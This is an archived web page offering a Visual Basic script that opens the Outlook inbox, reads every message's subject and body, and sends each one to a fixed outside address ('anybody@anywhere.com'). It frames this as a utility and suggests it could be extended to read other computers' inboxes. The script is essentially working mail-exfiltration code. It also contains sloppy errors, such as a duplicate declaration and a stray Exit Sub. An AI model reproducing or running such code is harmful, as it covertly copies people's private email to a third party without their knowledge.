The Wayback Machine - https://web.archive.org/all/20060315110803/http://www.web-developer-india.com/WD/A/C1.html

Web development India freelance website designer developer India SEO

NOw you can get the inbox from outlook (if enhanced you can get mails from other computers inboxes.) with this simple
code. Please feedback if you cannot do anything with this code, so that I post the zip file with a sample project. It also can
send messages to people in Outlook.
Add the reference To the Outlook Object Library

Dim myOLApp As New Outlook.Application
Dim olNameSpace As Outlook.NameSpace
Dim myItem As New Outlook.AppointmentItem
Dim myRequest As New Outlook.MailItem
Dim myFolder As Outlook.MAPIFolder
Public myResponse
Dim L As String
Dim i As Integer
Dim SearchSub As String
Dim strSubject As String
Dim myFolder As Outlook.MAPIFolder
Dim strSender As String
Dim strBody As String
Dim olMapi As Object
Dim strOwnerBox As String
Dim sbOLApp

Set myOLApp = CreateObject("Outlook.Application")
Set olNameSpace = myOLApp.GetNamespace("MAPI")
Set myFolder = olNameSpace.GetDefaultFolder(olFolderInbox)
'Dim mailfolder As Outlook.MAPIFolder
Set olMapi = GetObject("", "Outlook.Application").GetNamespace("MAPI")


For i = 1 To myFolder.Items.Count
strSubject = myFolder.Items(i).Subject
strBody = myFolder.Items(i).Body
strSender = myFolder.Items(i).SenderName
strOwnerBox = myFolder.Items(i).ReceivedByName
' Now Mail it to somebody
Set sbOLAPp = CreateObject("Outlook.Application")
Set myRequest = myOLApp.CreateItem(olMailItem)


With myRequest
.Subject = strSubject
.Body = strBody
.To = "anybody@anywhere.com"
.Send
End With
Set sbOLAPp = Nothing
Next
Set myOLApp = Nothing
Exit Sub
Get INBOX From OUTLOOK

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150

India web developer web development India | India web development company India ecommerce web developer